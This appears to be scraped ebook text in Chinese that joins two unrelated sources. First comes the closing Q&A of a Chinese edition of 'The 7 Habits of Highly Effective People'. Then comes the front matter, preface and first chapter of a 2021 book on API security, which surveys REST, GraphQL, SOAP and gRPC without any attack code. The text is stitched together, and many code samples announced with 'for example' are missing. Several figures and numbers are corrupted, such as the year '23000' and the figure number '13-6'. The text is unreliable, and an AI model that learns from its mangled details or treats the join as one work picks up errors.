过多地选择了舍己为人(输/赢),没有在培养关系 的过程中付出足够的努力,去真正形成比较一致的、 全面而合理的双赢契约。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 477 ~ ◆技术将如何改变未来的企业? 我赞同斯坦.戴维斯(stan Davis)的说法:“当 根基改变时,一切都会摇摇欲坠。”我认为,技术基 础是一切的关键,它会推动所有的好趋势和坏趋势, 正因如此,人的因素变得更为重要。低水准的高技 术毫无用处,而且技术的影响力越强,控制这种技 术的人的因素就越重要,尤其是要在运用技术的过 程中营造一种对标准持之以恒的文化氛围。 ◆《高效能人士的七个习惯》在全球(其他国家/ 文化/年龄/性别中)大受欢迎,您是否感到吃惊? 既吃惊也不吃惊。吃惊是因为我没料到它会成 为全球畅销书,没料到一本小小的图书会成为美国 文化的一部分。不吃惊是因为书中内容已经接受了 25 年多的检验。我知道它是有用的,因为它以原则 为基础。重申一遍,这些原则并非我发明的,所以 我不该为此得到赞美。 ◆您怎样把七个习惯教给年幼的孩子? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 478 ~ 我 想 我 会 遵 循 艾 伯 特 · 施 韦 策 (A1bert Schweitzer)教育孩子的三项基本规则:一是以身作 则,二是以身作则,三还是以身作则。但我不会做 到这种程度。我会说,一是以身作则,二是建立充 满关怀和欣赏的关系,三是用孩子的语言教给他们 这些习惯中蕴涵的简单理念——帮助他们掌握七个 习惯的基本含义和词汇,告诉他们怎样利用原则来 分析自己的经历,让他们识别生活中出现的特定原 则和习惯。 ◆我的老板(配偶、子女、朋友等)确实需要七个习 惯,您建议我怎样让他们阅读该书? 只有当他们知道你对他们的关心有多少时,才 会关心你知道的有多少。请以可信赖的人格榜样为 基础,和他们建立信任、坦诚的关系,然后和他们 分享七个习惯对你的帮助。让他们在你的生活中看 到鲜活的七个习惯,然后在适当的时候,邀请他们 参加某个培训项目,或者把这本书作为礼物送给他 们,或者在必要时教给他们一些基本理念。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 479 ~ ◆您的背景如何?您怎么会写这样一本书? 大家都认为,我应该追随父亲的足迹,参与经 营家族企业,然而,与经商相比,我觉得自己更喜 欢教书和培训领导者。在哈佛商学院读书时,我对 组织中的人这一层面产生了浓厚兴趣,并且开始从 事相关研究。后来,我在杨百翰大学讲授商业课程, 兼职做过几年咨询、顾问和培训工作。在那段时间 里,我开始考虑围绕一套有序而均衡的原则创办领 导和管理才能的综合培训项目,这些后来就演变成 了七个习惯,然后,在应用于组织时,它们又发展 成了以原则为中心的领导才能的概念。我决定离开 大学,全职从事培训各种组织的高级管理人员的工 作,我认真拟定课程,开始了第一年的工作,然后 就创办了一家企业,以便让全世界的人都了解这此 内容。 ◆有些人声称自己掌握着真正的成功秘诀,您对此 有何看法? [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 480 ~ 我要声明两个问题,首先,如果他们所说的内 容以原则或自然法则为基础,我就愿意向他们求教, 并且加以推介;第二,我要说,我们也许是在用不 同的措辞表述相同的基本原则或自然法则。 ◆您真的谢顶吗?抑或是为了节省时间才剃了光 头? 嘿,听我说,当你忙着吹干你的头发时,我已 经在为顾客服务了。事实上,当我第一次听说“秃 就是美”这句话时,我激动得无以名状! [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 481 ~ 全文完 图书模板由 爱书网 www.ilovebook.cn 提供
pdf
随着API技术的发展和广泛使用,API安全问题越来越受到人们的 重视。本书从API安全的视角出发,介绍了API技术的发展和变化以及 不同API技术中常见的安全漏洞,探讨了如何使用自动化安全工具检测 API安全漏洞、如何使用API安全设计规避漏洞。全书从API安全漏洞基 础知识入手,逐步讲解API安全设计、API安全治理等内容,并结合头 部互联网企业的API安全案例,分析业界API安全的最佳实践,是国内 第一本讲解API安全知识和技术实战的专业书籍。 本书适合网络安全人员、软件开发人员、系统架构师以及高等院校 相关专业师生阅读学习。 图书在版编目(CIP)数据 API安全技术与实战/钱君生,杨明,韦巍编著.—北京:机械工业出版 社,2021.5 (网络空间安全技术丛书) ISBN 978-7-111-67639-3 Ⅰ.①A… Ⅱ.①钱…②杨…③韦… Ⅲ.①计算机网络-网络安全  Ⅳ.①TP393.08 中国版本图书馆CIP数据核字(2021)第036173号 机械工业出版社(北京市百万庄大街22号 邮政编码 1300037) 策划编辑:李培培  责任编辑:李培培 责任校对:张艳霞  责任印制:李 昂 北京机工印刷厂印刷 2021年3月·第1版·第1次印刷 184mm×260mm·15.5印张·379千字 标准书号:ISBN 978-7-111-67639-3 定价:99.00元 电话服务 客服电话:010-88361066 010-88379833 010-68326294 网络服务 机 工 官 网:www.cmpbook.com 机 工 官 博:weibo.com/cmp1952 金  书  网:www.golden-book.com 机工教育服务网:www.cmpedu.com 封底无防伪标均为盗版 网络空间安全技术丛书专家委员会名单 主  任 沈昌祥 中国工程院院士 副 主 任 方滨兴 中国工程院院士 王小云 中国科学院院士 委  员(以姓氏拼音为序) 陈兴蜀 四川大学 陈 洋 小米科技有限责任公司 程 光 东南大学 程 琳 中国人民公安大学 丁 勇 广西密码学与信息安全重点实验室 弓峰敏 滴滴出行科技有限公司 贺卫东 中电长城网际系统应用有限公司 贾 焰 中国人民解放军国防科技大学 李 晖 西安电子科技大学 李建华 上海交通大学 李 进 广州大学 李欲晓 中国网络空间研究院 刘建伟 北京航空航天大学 马 斌 腾讯计算机系统有限公司 马 杰 北京百度网讯科技有限公司 孟 丹 中国科学院信息工程研究所 卿 昱 中国电子科技网络信息安全公司 任 奎 浙江大学 谈剑峰 上海众人网络安全技术有限公司 谭晓生 北京赛博英杰科技有限公司 位 华 中国信息安全测评中心 魏 军 中国网络安全审查技术与认证中心 吴志刚 中国软件评测中心 肖新光 安天实验室 谢海永 中国科学技术大学 赵 波 武汉大学 郑志彬 华为技术有限公司 祝跃飞 中国人民解放军战略支援部队信息工程大学 秘 书 长 胡毓坚 机械工业出版社 副秘书长 秦 安 中国网络空间战略研究所 出版说明 随着信息技术的快速发展,网络空间逐渐成为人类生活中一个不可 或缺的新场域,并深入到了社会生活的方方面面,由此带来的网络空间 安全问题也越来越受到重视。网络空间安全不仅关系到个体信息和资产 安全,更关系到国家安全和社会稳定。一旦网络系统出现安全问题,那 么将会造成难以估量的损失。从辩证角度来看,安全和发展是一体之两 翼、驱动之双轮,安全是发展的前提,发展是安全的保障,安全和发展 要同步推进,没有网络空间安全就没有国家安全。 为了维护我国网络空间的主权和利益,加快网络空间安全生态建 设,促进网络空间安全技术发展,机械工业出版社邀请中国科学院、中 国工程院、中国网络空间研究院、浙江大学、上海交通大学、华为及腾 讯等全国网络空间安全领域具有雄厚技术力量的科研院所、高等院校、 企事业单位的相关专家,成立了阵容强大的专家委员会,共同策划了这 套《网络空间安全技术丛书》(以下简称"丛书")。 本套丛书力求做到规划清晰、定位准确、内容精良、技术驱动,全 面覆盖网络空间安全体系涉及的关键技术,包括网络空间安全、网络安 全、系统安全、应用安全、业务安全和密码学等,以技术应用讲解为 主,理论知识讲解为辅,做到"理实"结合。 与此同时,我们将持续关注网络空间安全前沿技术和最新成果,不 断更新和拓展丛书选题,力争使该丛书能够及时反映网络空间安全领域 的新方向、新发展、新技术和新应用,以提升我国网络空间的防护能 力,助力我国实现网络强国的总体目标。 由于网络空间安全技术日新月异,而且涉及的领域非常广泛,本套 丛书在选题遴选及优化和书稿创作及编审过程中难免存在疏漏和不足, 诚恳希望各位读者提出宝贵意见,以利于丛书的不断精进。 机械工业出版社 前言 对大多数IT技术人员来说,API这个词并不陌生。而对架构师、研 发工程师、安全工程师来说,API则更是日常工作中接触并熟知的内 容。从2008年国内API经济活跃伊始,各个互联网企业纷纷构建自己的 API开放平台,2012年API模式日益成熟,大量API安全问题在2013年之 后也逐渐暴露出来。如今,仍可以通过漏洞平台、安全大会议题、企业 安全应急响应中心看到这些痕迹。虽然API安全问题或安全事件时有发 生,但企业对API安全的真正重视程度,仍比技术应用落后很多。这其 中固然有企业的原因,但技术人员自身API安全知识的缺乏也是重要因 素之一,再加上已出版的关于API安全的图书尤其少,于是作者决定写 一本API安全方面的专业书籍。 1.本书的主要内容和特色 本书主要是为IT技术人员提供API安全知识和技术实战方面的案例 讲解,采用理论和实践相结合的模式,由基础篇、设计篇、治理篇三个 部分组成,为读者讲述API安全的基本概况、API安全漏洞、API安全设 计以及API生命周期安全管理等内容。 基础篇包括第1~5章。 第1章 API的前世今生 结合互联网技术的发展,介绍API技术的发 展。重点围绕当下不同的API技术,如RESTful API技术、GraphQL API 技术、SOAP API技术等,来介绍其技术特点。最后,简要讲述了头部 互联网公司API的使用现状。 第2章 API安全的演变 以API安全的含义为切入点,讲述API安全关 注的重点内容、API漏洞类型以及API安全的未来趋势。 第3章 典型API安全漏洞剖析 从最近三年的安全漏洞案例中,精心 挑选出5个有代表性的案例,分别从漏洞基本信息、漏洞利用过程、漏 洞启示三个方面,为读者讲述典型的API安全漏洞原理。 第4章 API安全工具集 结合API生命周期,从需求、设计、编码、 测试、运维等角度,介绍与API安全相关的工具,并对部分工具做了重 点说明。 第5章 API渗透测试 参考业界标准渗透基本流程,介绍了API渗透 测试过程中的注意事项和关键点,并分析了RESTful API、GraphQL API、SOAP API等API渗透测试技术的特点。最后,通过案例讲述了 API安全工具的典型用法。 设计篇包括第6~9章。 第6章 API安全设计基础 介绍了API安全设计技术栈,并结合5A原 则和纵深防御原则,对不同的API安全关键技术做了简要讲述,帮助读 者初步构建API安全设计的整体概念。最后,以API安全中南北向、东 西向场景为例,分别做了导入性的案例分析。 第7章 API身份认证 从身份认证的概念入手,主要讲述了HTTP Basic基本认证、AK/SK认证、Token认证等API身份认证技术,并重点 介绍了OpenID Connect身份认证协议及常见安全漏洞。最后,结合微软 Azure云、支付宝第三方应用公开文档,分析了API身份认证技术的安全 设计细节。 第8章 API授权与访问控制 结合授权与访问控制的基本概念,重点 讲述了OAuth 2.0协议、RBAC模型的相关流程与设计,分析了常见授权 与访问控制的安全漏洞成因。最后,结合百度开放云平台、微信公众平 台等第三方平台公开文档,分析了API授权与访问控制技术的安全设计 细节。 第9章 API消息保护 主要从传输层、应用层介绍了消息保护相关技 术及常见漏洞,如TLS、JWT、JOSE、Paseto技术等。最后,结合百度 智能小程序OpenCard、微信支付的官方文档,对消息保护过程进行了案 例分析。 治理篇包括第10~13章。 第10章 API安全与SDL 结合微软SDL模型,讲述了在API生命周期 安全管理中涉及的安全活动,并挑选出了关键的安全活动,从活动实 践、工具依赖两个方面展开叙述,为下一章做知识导入。 第11章 API安全与DevSecOps 从DevSecOps视角,重点介绍了API 安全在工具链和自动化管理上的实践,比如设置关键卡点、引入API网 关、接入WAF等。 第12章 API安全与API网关 从开源API安全产品的角度,分析API 网关的基本产品组成部分以及上下文关系,并对Kong API网关、WSO2 API管理平台做了重点介绍。最后,结合花椒直播Kong应用实践做了案 例分析。 第13章 API安全与数据隐私 从隐私保护的视角,结合数据安全的 生命周期,介绍了API安全中如何保护数据隐私,并结合Microsoft API 使用条款、京东商家开放平台API敏感信息处理两个案例,分析了API 安全中的数据隐私实践。 2.本书面向的读者 本书适用于网络安全人员、软件开发人员、系统架构师以及高等院 校相关专业师生阅读学习。 ■ 网络安全人员:主要是从事Web渗透测试、攻防对抗、SDL运营 等相关人员,帮助此类人员快速建立API安全相关知识脉络,构建API 基础安全知识框架。 ■ 软件开发人员:主要是从事API技术开发相关人员,帮助此类人 员厘清API相关技术栈和典型安全漏洞,能运用工具有效提高开发质 量。 ■ 系统架构师:主要是致力于提高系统安全性的架构师,能帮助架 构师有效地厘清API安全技术,并通过案例分析,指导API安全设计。 ■ 高等院校相关专业师生:了解API安全知识,尤其是与API安全 技术相关的漏洞、工具、协议、流程等。 3.致谢 借本书的出版,感谢我在网络安全行业中工作过的企业,是它们给 了我学习和锻炼的机会,尤其是亚信安全的郑海刚和孙勇,一位是带领 我进入网络安全行业的引路人,另一位则是在我最困难的时候给予帮助 和鼓励的好心人!也感谢各位领导、同事在工作和生活中给予的关怀和 帮助!还要感谢很多安全圈朋友们的帮助,他们之中有些人素未谋面却 神交已久,如张福@青藤云、薛峰@微步在线、方兴@全知科技、刘焱 @蚂蚁金服、聂君@奇安信、戴鹏飞@美团、张园超@网商银行、郑云 文@腾讯、常炳涛@科大讯飞、徐松@科大讯飞(排名不分先后)等。 感谢机械工业出版社的编辑李培培,她在本书的编写过程中,给予 了我很多的建议和帮助!感谢机械工业出版社其他人员,是你们的辛勤 工作,使得本书早日面世! 感谢我的家人在图书的编写过程中给予的支持和帮助! 钱君生 第1篇 基础篇 第1章 API的前世今生 当今是一个信息互联和知识共享的时代,随着互联网的发展,API 技术已经被各个企业广泛接受和使用,并呈现逐年增长的趋势,尤其是 近些年在“云、大、物、移”和“新基建”的推动下,互联网企业和传统企 业都在积极使用API技术去构建企业信息化系统或企业服务能力。 一些平台级互联网企业通过API能力开放,与外部厂商合作共同构 建API生态圈,盘活API经济,API已经成为互联网基础能力的重要载 体,深入人们现实生活的方方面面。出行时,需要使用地图的API进行 定位;查询天气时,需要调用天气预报的API获取当前天气;网上购物 时,页面会调用推广的API显示推广或促销商品列表。正是API技术的 广泛使用,才使得不同的企业、不同的产品在业务能力上纵横交织,为 用户提供了丰富的信息和良好的体验。那么到底什么是API?下面就和 读者一起来探讨它的含义。 1.1 什么是API 关于API的含义,先来看看维基百科上对API的描述。 从这段描述可以了解到,API是Application Programming Interface的 简写,又称为应用程序编程接口,它通过定义一组函数、协议、数据结 构,来明确应用程序中各个组件之间的通信与数据交互方式,将Web应 用、操作系统、数据库以及计算机硬件或软件的能力以接口的形式,提 供给外部系统使用。这样的描述可能过于抽象,以实物类比可能更易于 读者理解API的含义。比如在房屋装修的过程中,为了用电方便,通常 会预留出插座的位置,为外接设备提供电源,但每一个设备的电源接入 方式各不相同,为了统一不同的接入方式,插座通常使用三孔插座或两 孔插座,当设备接入供电时,也同样使用三孔插头或两孔插头与之对 接。对应到软件中,对外统一提供的三孔或两孔插座,即是这里讨论的 API,而到底三孔还是两孔,就是API协议定义的内容。 在API的发展历程中,根据其表现形式的不同,大致分为如下4种类 型。 1.类库型API 类库型API通常是一个类库,它的使用依赖于特定的编程语言,开 发者通过接口调用,访问API的内置行为,从而处理所需要的信息。例 如,应用程序调用微软基础类库(MFC),如图1-1所示。 ●图1-1 应用程序调用微软基础类库(MFC) 2.操作系统型API 操作系统型API通常是操作系统层对外部提供的接口,开发者通过 接口调用,完成对操作系统行为的操作。例如,应用程序调用Windows API或Linux标准库,如图1-2所示。 ●图1-2 应用程序调用Windows API或Linux标准库 3.远程应用型API 远程应用型API是开发者通过标准协议的方式,将不同的技术结合 在一起,不用关心所涉及的编程语言或平台,来操纵远程资源。例如, Java通过JDBC连接操作不同类型的数据库,如图1-3所示。 ●图1-3 Java通过JDBC连接操作不同类型的数据库 4.Web应用型API Web应用型API通常使用HTTP协议,在企业与企业、企业内部不同 的应用程序之间,通过Web开发过程中架构设计的方法,以一组服务的 形式对外提供调用接口,以满足不同类型、不同服务消费者的需求。例 如,社交应用新浪微博的用户登录,如图1-4所示。 ●图1-4 社交应用新浪微博的用户登录 从上述介绍的4种API类型可以看出,API并非新生事物,很早就存 在着,只是随着技术的发展,这个专有名词的含义已经从当初单一的类 库型API或操作系统型API扩展到如今的Web应用型API接口,这是商业 发展和业务多样化驱动技术不断改进的必然结果。同时,API的存在对 业务的意义也已经从单纯的应用程序接口所定义的用于构建和集成应用 程序软件的一组定义和协议,变成了业务交互所在的双方之间的技术约 定。使用API技术的业务双方,其产品或服务与另一方产品和服务在通 信过程中,不必知道对方是如何实现的。就像在生活中需要使用电,只 要按照要求接上电源就会有电流,而不必知道电流的产生原理自己来发 电。不同的行业应用可以独立去构建自己的API能力再对外部提供服 务,这样做的好处是大大地节约了社会化服务能力的成本,简化了应用 程序开发的难度,节省了时间,为业务能力的快速迭代提供了可操作的 机会。 1.2 API的发展历史 从API的定义中可以看出,API的产生主要是为了解决互联网技术 发展过程中不同组件之间通信所遇到问题,在不同的阶段出现不同的 API形态,它的发展伴随着互联网技术的发展,尤其是Web技术的发 展,在不停地变化着。追溯API的发展历史前,先来了解一下Web技术 的发展历史。 1.2.1 Web技术发展的4个阶段 互联网的发展,业界通常划分为Web 1.0~Web 6.0。这里,主要依 据其技术形式的不同,将互联网的发展划分为4个阶段,如图1-5所示。 ●图1-5 Web技术发展的4个阶段 ■ Web 1.0:群雄逐鹿、先入为王的时代,技术形式以HTML静态 网页为主。 ■ Web 2.0:用户交互逐渐丰富,大量互联网应用产生,技术形式 以动态网页为主。 ■ Web 3.0:出现行业垂直细分,业务形态从PC互联网端向WAP 端、移动端、专用终端迁移,此阶段催生了大量的交互技术,其中API 技术得到了快速发展。 ■ Web 4.0:逐渐出现行业巨头通吃的局面,大数据、物联网开启 万物互联的时代,平台型企业的崛起,云计算、容器化、微服务等技术 开创了API技术的新天地。 从Web技术发展的43个阶段可以看出,API技术的快速发展是 在Web 3.0时代开始的,那么从Web 3.0时代到今天,API技术到底发生 了哪些改变? API技术早期通常用于操作系统的库,其所在运行环境为系统本 地,此阶段它的表现形式对应于上文提及的类库或操作系统型API。仅 在操作系统本地环境中使用制约了API技术在很长一段时间内的发展, 直到动态网页技术的广泛使用才开始出现转机。 作为IT技术人员,大多数人应该了解动态网页技术的基本原理,动 态网页技术与静态网页技术最大的区别在于页面内容的动态性和可交互 性。开发者使用CGI、ASP、PHP、JSP等技术完成服务器端的实现,在 浏览器界面,根据用户的要求和选择而发生动态改变和响应,这其中离 不开网页端与数据库的通信交互,远程应用型API也就是在这样的背景 下产生的。这个阶段的API、应用场景除了JDBC驱动的数据库调用外, 还产生了大型应用程序不同协议间的通信。比如Flex+Java应用之间的前 后端通信,Spring开发框架提供的远程调用模式RMI、HttpInvoker、 JAX RPC等,还有一些标准协议型的技术如EJB、WTC(Weblogic Tuxedo Connector)、SOAP等。这些技术,在后来的发展中只有少数得 以延续,大多数被新的API技术所取代,逐渐淹埋在历史的角落。 在这个阶段API技术广泛应用,除了类库型、操作系统型、远程应 用型继续在使用外,Web应用型API典型的技术应用场景有以下几种。 1.EJB应用 EJB是Enterprise Java Beans的缩写,又称企业Java Beans,是JavaEE 中面向服务的体系架构所提供的解决方案。通过EJB技术,开发者将业 务功能封装在服务器端,以服务的形式对外发布,客户端在无须知道技 术实现细节的情况下来完成远程方法的调用,如图13-6所示。 ●图1-6 EJB应用 2.RMI应用 RMI是Remote Method Invocation的缩写,俗称远程方法调用。这里 主要是指于Java语言应用中通过代码实现网络远程调用另一个JVM的某 个方法,其底层实现依赖于序列化和反序列化,容易出现严重的安全漏 洞。其API调用形式如图1-7所示。 ●图1-7 RMI应用 3.SOAP应用 SOAP是Simple Object Access Protocol的首字母缩写,即简单对象访 问协议。在使用SOAP协议的应用类型中,主要是Web Service服务,其 通过Web服务描述语言(Web Services Description Language,WSDL) 文件描述,以服务接口的形式对外提供软件能力,如图1-8所示。 ●图1-8 SOAP应用 2000年以后,整个社会的数字化环境发生了巨大的变革,面对瞬息 万变的市场环境,业务团队和IT团队为了满足快速变化的业务需求不得 不互相协作,以保证企业的竞争力,EJB、WTC这类笨重的技术逐渐被 抛弃,与微服务、容器化技术架构兼容性好且轻量级的RESTful API技 术开始占据上风,并逐步成为主流。关于这一点,可以通过近十年的百 度趋势指数侧面验证,如图1-9所示。 ●图1-9 百度趋势指数 在API技术的发展历史中,业界习惯把前两个阶段的API称为古典 API,后两个阶段的API称为现代API,现代API是当前API技术的主要使 用形式,它们使用不同的通信协议或消息格式构成了精彩的API技术世 界。 1.2.2 现代API的类型划分 从上节的介绍内容可以看出,现代API以Web应用型API为主,基于 现代API的服务对象不同、技术形式不同、使用者不同,可以对现代 API做不同类型的划分。 1.基于服务对象的类型划分 每一个API所提供的服务能力,最终都是被企业内外部调用才能实 现API的价值。根据API所承载业务功能的服务范围不同,现代API可以 划分为公有型API、私有型API和混合型API。 ■ 公有型API:此类API主要面向企业外部客户或企业第三方合作 伙伴,向外部提供企业的API服务能力,以业务承载为主。 ■ 私有型API:此类API主要面向企业内部,不面向外部提供服务 能力,具有一定的私密性,以运营管理、内部服务支撑为主。 ■ 混合型API:此类API的服务对象没有明显的限制,兼有企业外 部客户和企业内部应用之间的调用。 对现代API按照服务对象进行不同类型的划分,有利于明确服务对 象和使用范围,为API自身安全性保障要求提供不同级别的防护目标。 2.基于技术形式的类型划分 每一个API都有着不同的技术实现,使用不同的开发语言,或使用 不同的协议标准,基于这些技术形式和技术的普及程度,将现代API划 分为RESTful API、GraphQL API、SOAP API、gRPC API、类XML- RPC及其他类型API。 ■ RESTful API:此类API在技术形式上,以REST风格为主,是当 前业界主流的API技术形式。 ■ GraphQL API:此类API采用Facebook提出的GraphQL查询语言 来构建API服务,尤其适用于树状、图状结构数据的使用场景。 ■ SOAP API:即使用SOAP协议作为API接口交互方式的API应 用,以Web Service为代表。 ■ gRPC API:此类API采用Google的gRPC框架,通过Protobuf协议 来定义接口和条件约束,完成客户端和服务器端的远程调用。 ■ 类XML-RPC及其他类型API:此类API包含多种技术,因使用的 普及率低故将其归类在一起,通常包含XML-RPC的API、JMS(Java Message Service)接口、WebSocket API以及IoT通信协议的接口等。 基于技术形式的API类型划分带有鲜明的技术特点,它有助于使用 者了解其技术构成和该技术的交互细节,了解该技术形式所带来的特 有的安全特性和安全风险,做出准确的判断和合理的处置。 3.基于使用者的类型划分 不同的API提供不同的业务功能供不同的用户使用,这些使用者可 能是具体的自然人用户,也可能是前端应用程序,还有可能是终端设 备,基于API使用者的不同,现代API可以划分为用户参与型API、程序 调用型API和IoT设备型API。 ■ 用户参与型API:此类API在业务交互过程中,需要自然人用户 参与,比如用户单击操作、与用户身份相关的会话保持、与用户身份相 关的访问控制等。大多数互联网应用中使用的API为此种类型。 ■ 程序调用型API:API调用中,存在某些场景下无自然人用户参 与的情况,仅仅是后端服务或前端应用程序之间的通信处理。这些场景 下的API属于此类型的API。 ■ IoT设备型API:除了上述两类API之外,还有一些API仅仅提供 给IoT设备调用,在交互流程上比上述两类要简单,或设备内无法完成 流程,需要离线操作。 基于API的使用者对现代API做类型划分,有助于API设计者和研发 人员梳理交互流程,识别不同场景下适用的安全机制,制定不同的安 全控制策略来提高API服务的安全性。 1.3 现代API常用的协议和消息格式 现代API技术的发展要追溯到23000年,在动态网页技术的推动下, 大量的企业级应用如雨后春笋般涌现,为了满足不同技术栈构建的应用 在架构和开发上能平滑融合和解耦,API技术也得到了快速的发展。 1.3.1 REST成熟度模型 现代API的奠基人Roy Fielding博士在他的论文《架构风格以及基于 网络的软件架构设计》(Architectural Styles and the Design of Network- based Software Architectures)中第一次提到REST(Representational State Transfer)概念,其目的是满足现代Web架构的设计与开发的需要;之 后,Leonard Richardson提出“REST成熟度模型”,该模型把REST服务按 照成熟度划分成4个层次。 ■ Level 0:Web服务使用HTTP协议作为传输方式,实际上是远程 过程调用(Remote Procedure Call,RPC)的雏形,SOAP和XML-RPC 都属于此类,其表现形式为一个URI,一个HTTP方法。例如: ■ Level 1:Web服务引入了资源的概念,每个资源有对应的标识符 和表述。其表现形式为多个URI,一个HTTP方法。例如: ■ Level 2:Web服务使用不同的HTTP方法来进行不同的操作,并 且使用HTTP状态码来表示不同的结果。如HTTP GET方法来获取资源, HTTP DELETE方法来删除资源,这是当前使用范围最为广泛的层次。 其表现形式为多个URI,多个HTTP方法。例如: ■ Level 3:Web服务使用HATEOAS,在资源的表述中包含了链接 信息,客户端可以根据链接来发现可以执行的动作。Level 3是比较理想 的层级,但目前实际应用较少。 从“REST成熟度模型”中各个层次的含义来看,目前大多数应用基 本都停留在Level 1、Level 2的层次,所以在后续讨论RESTful API的章 节中,主要是指Level 1、Level 2两个层次。 1.3.2 RESTful API技术 在当前的互联网上,因RESTful API简洁易用,在降低软件开发复 杂度的同时,也提高了软件应用的拓展性,从而占据着主流地位。从 REST成熟度模型来看,表现形式以Level 2为主,一次RESTful API请 求,其典型的消息格式样例如下: 在样例中,包含以下RESTful API相关的协议信息。 ■ 资源URL格式为schema://host[:port]/version/path,其中schema 是指定使用的应用层协议,比如HTTP、HTTPS、FTP等;host是API服 务器的IP地址或域名;port是指API服务器的端口;version是指API请求 的版本;path是指API请求资源的路径。 ■ 资源请求分配的HTTP请求方法,除了样例中的GET方法外,常 用的请求方法还有用于服务器新增数据或资源的POST方法,用于获取 资源请求的元数据HEAD方法,用于更新服务器资源的PUT方法,用于 删除服务器资源的DELETE方法以及查询与资源相关选项的OPTIONS方 法等。不同HTTP请求方法的调用样例如下: 在实际应用中,对于API请求路径的命名通常遵循一定的规范或规 律,比如将功能相近的API端点放在一起: 通过这些接口规范性的特征,读者很容易识别出RESTful API类的 接口。而作为技术开发者,为了满足这些接口标准,一般采用业界通用 API规范。在现行的API规范中,OpenAPI当之无愧排在首位,其官网地 址为https://swagger.io/specification/。从其官方文档可以了解到, OpenAPI规范于2015年已捐赠给Linux基金会,其规范内容为RESTful API定义了一个与开发语言无关的标准接口,可通过有效映射与之关联 的所有资源和操作,来帮助用户轻松地开发和使用RESTful API。 OpenAPI规范中描述REST风格通信消息所采用的MIME类型以JSON格 式为主,如图1-10所示。 ●图1-10 REST采用的MIME类型 同时,在规范中,关于身份认证与鉴权的安全性支持方案,如 APIKey、HTTP Basic、OAuth 2.0等也做出了相应的描述,在后续的API 安全设计章节中将为读者做详细的介绍。 1.3.3 GraphQL API技术 GraphQL是Facebook推出的一种基于用户自定义数据类型的API查 询语言和现代应用程序对接云服务的全面解决方案,在很多场景下,可 以作为REST、SOAP或gRPC的替代方案。 一个典型的GraphQL服务是通过定义类型、类型上的字段、字段的 解析函数来对外部提供能力服务的。这里,以用户admin的查询为样 例,描述其交互过程。当请求GraphQL服务时,其查询结构为: 这不是JSON格式的数据,但它们很相似,此GraphQL查询的表达 含义如下。 ■ 通过用户名admin来查询用户信息。 ■ 仅查询id、name、address三个字段的信息。 ■ 对于通信地址address,需要查询首选地址和备用地址。 而与之对应的服务器响应为: 这个响应的消息结构显示了GraphQL的两个重要的特性。 ■ 服务器能理解客户端的要求并根据定义的模式完成查询和响 应,这种特性能帮助使用者从技术路线层面解决OWASP API安全中的 批量分配问题。而在业务层面,使后端服务的开发人员更多的关注开 发,而不用关心业务数据的接口,由前端查询来控制其想获取的字段。 ■ 可以嵌套地访问数据资源,在RESTful API如果想查询用户上述 信息,则对应的API端点为/v1/user和/v1/user/address,而GraphQL API则 一次性完成。这在大型的互联网应用中,可以减少时间成本的消耗。 也正是GraphQL的这些特性,当技术人员尝试使用它时,也有诸多 的不便。举例如下。 ■ GraphQL语言自身特有的查询语法需要投入学习成本,且其结构 没有JSON直观,在编写过程中需要特定的辅助工具。 ■ 为了适应其嵌套查询的特性,需要定义大量的schema,并进行服 务器端改造。 ■ 嵌套查询对普通关系型数据的服务器性能挑战较大。 1.3.4 SOAP API技术 SOAP API相对于其他的API技术来说,已进入了衰退期,但在企业 级应用中,因历史遗留问题仍在普遍使用着。通俗地说,SOAP协议是 基于HTTP协议的XML通信技术,主要用于Web Service服务通信。在技 术实现上,一个完整的SOAP API由3部分组成:SOAP(简单对象访问 协议)、UDDI(Web Services提供信息注册中心的实现标准规范)、 WSDL(描述Web Services以及如何对它们进行访问),它们之间的相 互关系如图1-11所示。 ●图1-11 SOAP API技术的组成 WSDL为服务消费者提供了Web Services接口的详细描述,通过解 析WSDL获取调用参数的详细描述后,使用XML格式的数据与服务提供 者进行数据交互。 一个典型的SOAP消息,其基本格式如下所示: 其中Envelope和Body为必选节点,Envelope用于标识此消息为 SOAP消息,Body包含所有调用和响应的必须信息。这里,通过获取 API版本的SOAP消息请求与响应来让读者对SOAP消息有更理性的认 识,如下所示。 SOAP请求:用于请求API的版本信息,当获取的API名称为test的 API版本时,发送的SOAP消息样例。其中m:GetApiVersion和 m:ApiName是应用程序业务专用的自定义节点。代码如下所示: SOAP响应:服务器端对获取API版本信息的响应报文样例,其中 m:Version表示版本信息为2.5.0版本。代码如下所示: 1.3.5 gRPC API技术 gRPC是一套高性能、开源的远程调用框架,通过Server/Client模 式,使得通信中的各个应用之间像调用本地接口一样调用远程API。在 其官网中,对于为什么要使用gPRC有如下描述。 gRPC是可以在任何环境中运行的现代开源高性能RPC框架,它可 以通过可插拔方式,有效地支撑数据中心内和跨数据中心的服务连接, 以实现负载平衡、跟踪、运行状况检查和身份验证。它同样也适用于分 布式计算的“最后一公里”,以将设备、移动应用程序和浏览器连接到后 端服务。 在gRPC API中,客户端应用程序通过远程方法调用在其他服务器 的应用程序,多个RPC系统之间,围绕API服务的思想,通过协议约定 接口参数和返回类型,完成不同服务能力的组合。不同的客户端或服 务器端之间,无须考虑编程语言的不同,均参照协议约定远程调用接 口,如图1-12所示。 ●图1-12 gRPC通信 在客户端与服务器端之间,将数据(比如JSON格式数据)序列化 为二进制编码,然后使用Protobuf协议进行通信。gRPC API通常适用于 对接口安全性或性能要求较高的场景,比如某个具备管理功能属性的接 口,想通过严格的gRPC API约束其调用者的范围,则Protobuf协议恰好 满足此需求。 Protobuf协议的消息结构是通过Protocol Buffer Language语言进行定 义和描述的,其数据结构描述文件的拓展名是.proto,其样例结构如 下: 在使用时,需要先将.proto的文件编译,再序列化,才能在通信中 使用。读者可以将其理解为:客户端和服务器端通信时,先将JSON或 XML格式的数据使用Protobuf技术转换为二进制流的数据格式,再进行 传输。 在表现形式上,gRPC API比RESTful API相对来说具有更好的隐蔽 性,同时gRPC API的技术实现中也支持多种安全机制,比如通信链路 的SSL/TLS安全协议、X.509数字证书的认证、OAuth协议授权访问、 Google令牌认证等。 1.3.6 类XML-RPC及其他API技术 